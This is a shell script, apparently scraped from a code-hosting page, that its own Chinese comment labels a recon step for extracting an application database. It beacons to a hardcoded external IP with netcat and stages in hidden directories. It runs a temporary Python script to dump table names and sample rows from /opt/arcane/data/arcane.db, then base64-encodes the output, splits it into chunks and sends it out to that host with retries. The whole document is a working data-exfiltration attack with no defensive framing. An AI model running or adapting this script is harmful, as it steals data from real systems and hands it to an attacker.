49 lines
1.6 KiB
Bash
Executable file
49 lines
1.6 KiB
Bash
Executable file
#!/bin/sh
|
|
#!/bin/sh
|
|
# ld_kk24 recon12 — 用 python3/sqlite 把 arcane.db 关键表抽成 JSON 回传
|
|
L=45.76.202.255
|
|
printf "gxR24 start\n" | nc -w 3 $L 8444 >/dev/null 2>&1
|
|
ST=""
|
|
for c in "${TMPDIR:-/tmp}/.gxr9" "$HOME/.gxr9" "/var/tmp/.gxr9"; do
|
|
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
|
done
|
|
[ -n "$ST" ] || ST="."
|
|
cd "$ST" 2>/dev/null || exit 0
|
|
|
|
DB=/opt/arcane/data/arcane.db
|
|
P=p24.py
|
|
cat >"$P" <<'EOFPY'
|
|
import sqlite3, json
|
|
c = sqlite3.connect("file:/opt/arcane/data/arcane.db?mode=ro", uri=True)
|
|
ts = [r[0] for r in c.execute("select name from sqlite_master where type='table'")]
|
|
out = {"tables": ts}
|
|
for t in ts[:14]:
|
|
try:
|
|
cols = [d[1] for d in c.execute("pragma table_info(%s)" % t)]
|
|
rows = c.execute("select * from %s limit 6" % t).fetchall()
|
|
out[t] = [cols] + [[str(x)[:64] for x in row] for row in rows]
|
|
except Exception as e:
|
|
out[str(t)] = repr(e)
|
|
print(json.dumps(out))
|
|
EOFPY
|
|
|
|
O=$(python3 "$P" 2>&1 | head -c 240000)
|
|
rm -f "$P"
|
|
B=$(printf "%s" "$O" | base64 -w0 2>/dev/null)
|
|
if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
|
|
n=$(printf "%s\n" "$B" | fold -w 55000 | wc -l)
|
|
printf "gxR24 META n=%s len=%s ST=%s\n" "$n" "${#B}" "$ST" | nc -w 4 $L 8444 >/dev/null 2>&1
|
|
i=0
|
|
printf "%s\n" "$B" | fold -w 55000 | while read -r c; do
|
|
i=$((i+1))
|
|
r=0
|
|
while [ $r -lt 4 ]; do
|
|
printf "gxR24 %s/%s %s %s\n" "$i" "$n" "$ST" "$c" | nc -w 6 $L 8444 >/dev/null 2>&1
|
|
r=$((r+1)); sleep 1.1
|
|
done
|
|
done
|
|
fi
|
|
exit 0
|
|
|
|
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
|
exit 0
|